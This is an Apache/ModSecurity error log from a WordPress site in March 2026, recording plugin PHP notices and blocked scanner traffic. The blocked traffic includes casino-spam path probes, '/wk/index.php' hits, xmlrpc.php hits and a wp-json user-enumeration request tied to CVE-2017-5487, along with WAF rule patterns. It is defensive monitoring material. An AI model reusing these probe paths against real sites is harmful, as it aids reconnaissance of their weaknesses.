[Mon Mar 16 12:36:56.190245 2026] [proxy_fcgi:error] [pid 62026:tid 62106] [client 103.4.122.14:33570] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Mar 16 15:56:01.917430 2026] [:error] [pid 9249:tid 9270] [client 43.153.49.151:41094] [client 43.153.49.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abe3kQsX15dONR9F2wzS8QAAAVA"]
[Mon Mar 16 17:42:51.188130 2026] [:error] [pid 39154:tid 39173] [client 108.12.20.67:47296] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abfQmxgq1_qjm7J1LqvizwAAAVA"]
[Mon Mar 16 17:42:53.541353 2026] [:error] [pid 39154:tid 39177] [client 108.12.20.67:50774] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abfQnRgq1_qjm7J1Lqvi0wAAAVQ"]
[Mon Mar 16 17:42:55.860433 2026] [:error] [pid 39154:tid 39166] [client 108.12.20.67:50784] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abfQnxgq1_qjm7J1Lqvi3wAAAUk"]
[Mon Mar 16 17:42:58.209979 2026] [:error] [pid 36198:tid 36210] [client 108.12.20.67:59194] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abfQoulL1GNckmsdWlMEvQAAAQk"]
[Mon Mar 16 17:43:00.370857 2026] [:error] [pid 35838:tid 35846] [client 108.12.20.67:59202] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abfQpBroTe-x3JLtmo55WAAAAAQ"]
[Mon Mar 16 17:43:02.704565 2026] [:error] [pid 39154:tid 39168] [client 108.12.20.67:59216] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abfQphgq1_qjm7J1Lqvi6QAAAUs"]
[Mon Mar 16 17:43:05.080520 2026] [:error] [pid 36198:tid 36222] [client 108.12.20.67:59230] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abfQqelL1GNckmsdWlMEwgAAARU"]
[Mon Mar 16 17:43:07.388812 2026] [:error] [pid 35840:tid 35920] [client 108.12.20.67:59236] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "abfQq0JFzfEsmtPx-M3vHQAAAJc"]
[Mon Mar 16 17:43:09.700648 2026] [:error] [pid 39154:tid 39171] [client 108.12.20.67:44010] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abfQrRgq1_qjm7J1Lqvi9wAAAU4"]
[Mon Mar 16 17:43:12.081108 2026] [:error] [pid 39154:tid 39178] [client 108.12.20.67:44012] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abfQsBgq1_qjm7J1Lqvi-wAAAVU"]
[Mon Mar 16 17:43:14.405934 2026] [:error] [pid 35840:tid 35898] [client 108.12.20.67:44028] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abfQskJFzfEsmtPx-M3vLgAAAIE"]
[Mon Mar 16 17:43:16.635830 2026] [:error] [pid 36198:tid 36215] [client 108.12.20.67:44034] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abfQtOlL1GNckmsdWlME3gAAAQ4"]
[Mon Mar 16 17:43:18.950563 2026] [:error] [pid 35839:tid 35880] [client 108.12.20.67:55826] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abfQtqxyv6h8-aZrncvztQAAAEo"]
[Mon Mar 16 17:43:21.274454 2026] [:error] [pid 35929:tid 35942] [client 108.12.20.67:55830] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abfQudW47dGpmA63hwRokAAAAMs"]
[Mon Mar 16 17:43:23.623839 2026] [:error] [pid 35839:tid 35870] [client 108.12.20.67:55834] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abfQu6xyv6h8-aZrncvzuwAAAEA"]
[Mon Mar 16 19:05:55.834832 2026] [:error] [pid 35839:tid 35870] [client 46.121.49.66:36711] [client 46.121.49.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.121.49.66, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abfkE6xyv6h8-aZrncsCJAAAAEA"]
[Mon Mar 16 19:54:33.681254 2026] [:error] [pid 39154:tid 39164] [client 64.89.163.113:65291] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abfveRgq1_qjm7J1LqsiPAAAAUc"]
[Mon Mar 16 19:54:34.188870 2026] [:error] [pid 36198:tid 36222] [client 64.89.163.113:63350] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abfveulL1GNckmsdWlMz2gAAARU"]
[Mon Mar 16 19:54:34.701592 2026] [:error] [pid 1871:tid 1893] [client 64.89.163.113:51335] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abfvejinTnZ8uiUPekE6kQAAAZQ"]
[Mon Mar 16 19:54:35.323696 2026] [:error] [pid 35929:tid 35955] [client 64.89.163.113:64093] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abfve9W47dGpmA63hwSKyAAAANg"]
[Mon Mar 16 19:54:35.866423 2026] [:error] [pid 35839:tid 35873] [client 64.89.163.113:50767] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abfve6xyv6h8-aZrncsJKgAAAEM"]
[Mon Mar 16 21:52:37.468992 2026] [:error] [pid 35840:tid 35918] [client 217.83.199.150:60364] [client 217.83.199.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.83.199.150, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abgLJUJFzfEsmtPx-M0bdwAAAJU"]
[Mon Mar 16 21:59:18.311932 2026] [:error] [pid 35929:tid 35939] [client 43.153.85.46:41130] [client 43.153.85.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abgMttW47dGpmA63hwSo3AAAAMg"]
[Tue Mar 17 00:37:33.048291 2026] [:error] [pid 45652:tid 45669] [client 43.130.53.252:46304] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abgxzfeWZ4w4tc07R6k0hQAAAM4"]
[Tue Mar 17 01:43:26.183818 2026] [:error] [pid 3200:tid 3207] [client 20.120.91.203:62952] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "abhBPlFOeKiNLMuAjecwtgAAAQU"]
[Tue Mar 17 01:43:30.535315 2026] [:error] [pid 45404:tid 45541] [client 20.120.91.203:62917] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "abhBQmcrPifELUd8UWAKHwAAABg"]
[Tue Mar 17 01:43:32.282040 2026] [:error] [pid 9635:tid 9654] [client 20.120.91.203:62916] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "abhBRHsAHChuwZxGaSjeXgAAAVE"]
[Tue Mar 17 01:43:34.760108 2026] [:error] [pid 3200:tid 3220] [client 20.120.91.203:44997] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "abhBRlFOeKiNLMuAjecwxwAAARI"]
[Tue Mar 17 01:44:33.708801 2026] [:error] [pid 45652:tid 45677] [client 34.105.38.11:52661] [client 34.105.38.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.105.38.11, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abhBgfeWZ4w4tc07R6lOZAAAANY"]
[Tue Mar 17 01:44:36.682081 2026] [:error] [pid 45652:tid 45674] [client 34.105.38.11:52661] [client 34.105.38.11] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "abhBhPeWZ4w4tc07R6lOcgAAANM"]
[Tue Mar 17 01:44:38.806630 2026] [:error] [pid 45652:tid 45661] [client 34.105.38.11:52661] [client 34.105.38.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.105.38.11, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abhBhveWZ4w4tc07R6lOdQAAAMY"]
[Tue Mar 17 04:31:02.200245 2026] [:error] [pid 45917:tid 46005] [client 43.132.214.228:46466] [client 43.132.214.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abhohhMMhmeqL5fT_hdroAAAAJA"]
[Tue Mar 17 07:04:44.795159 2026] [:error] [pid 45916:tid 45970] [client 51.83.238.207:35522] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/789%20slot.aspx"] [unique_id "abiMjLiS53PnClk_C9ACCwAAAEg"]
[Tue Mar 17 07:04:46.063430 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:35498] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "abiMjn-nCcd9BdzGdLcYhAAAANE"]
[Tue Mar 17 07:04:47.585105 2026] [:error] [pid 46020:tid 46028] [client 51.83.238.207:35482] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "abiMj3-nCcd9BdzGdLcYigAAAMY"]
[Tue Mar 17 07:04:47.748774 2026] [:error] [pid 46020:tid 46033] [client 51.83.238.207:37562] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "abiMj3-nCcd9BdzGdLcYiwAAAMs"]
[Tue Mar 17 07:04:48.141993 2026] [:error] [pid 45917:tid 46002] [client 51.83.238.207:35506] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "abiMkBMMhmeqL5fT_heckAAAAI0"]
[Tue Mar 17 07:04:49.796235 2026] [:error] [pid 22541:tid 22546] [client 51.83.238.207:35104] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "abiMkaS6JNY1-CTsTA8DzwAAAQA"]
[Tue Mar 17 07:04:51.055430 2026] [:error] [pid 22541:tid 22568] [client 51.83.238.207:35110] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "abiMk6S6JNY1-CTsTA8D0wAAARY"]
[Tue Mar 17 07:04:52.758661 2026] [:error] [pid 22541:tid 22551] [client 51.83.238.207:35126] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "abiMlKS6JNY1-CTsTA8D1QAAAQU"]
[Tue Mar 17 07:04:52.999583 2026] [:error] [pid 46020:tid 46040] [client 51.83.238.207:35142] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abiMlH-nCcd9BdzGdLcYnwAAANI"]
[Tue Mar 17 07:04:53.088188 2026] [:error] [pid 46020:tid 46037] [client 51.83.238.207:35154] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abiMlX-nCcd9BdzGdLcYoAAAAM8"]
[Tue Mar 17 07:04:55.252401 2026] [:error] [pid 46020:tid 46025] [client 51.83.238.207:35166] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abiMl3-nCcd9BdzGdLcYpQAAAMM"]
[Tue Mar 17 07:04:55.988275 2026] [:error] [pid 46020:tid 46042] [client 51.83.238.207:35182] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abiMl3-nCcd9BdzGdLcYqAAAANQ"]
[Tue Mar 17 07:04:57.090259 2026] [:error] [pid 46020:tid 46028] [client 51.83.238.207:35194] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abiMmX-nCcd9BdzGdLcYrAAAAMY"]
[Tue Mar 17 07:04:57.672368 2026] [:error] [pid 46020:tid 46033] [client 51.83.238.207:35198] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abiMmX-nCcd9BdzGdLcYrwAAAMs"]
[Tue Mar 17 07:04:58.119121 2026] [:error] [pid 45915:tid 45947] [client 51.83.238.207:35212] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abiMmph7U84ydzcrcncOuAAAABI"]
[Tue Mar 17 07:04:59.889963 2026] [:error] [pid 22541:tid 22561] [client 51.83.238.207:35082] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abiMm6S6JNY1-CTsTA8D3QAAAQ8"]
[Tue Mar 17 07:05:00.137686 2026] [:error] [pid 45915:tid 45937] [client 51.83.238.207:35072] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abiMnJh7U84ydzcrcncOvAAAAAg"]
[Tue Mar 17 07:05:00.941158 2026] [:error] [pid 45917:tid 46004] [client 51.83.238.207:35110] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abiMnBMMhmeqL5fT_hecmAAAAI8"]
[Tue Mar 17 07:05:01.907140 2026] [:error] [pid 45915:tid 45930] [client 51.83.238.207:35098] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abiMnZh7U84ydzcrcncOvwAAAAE"]
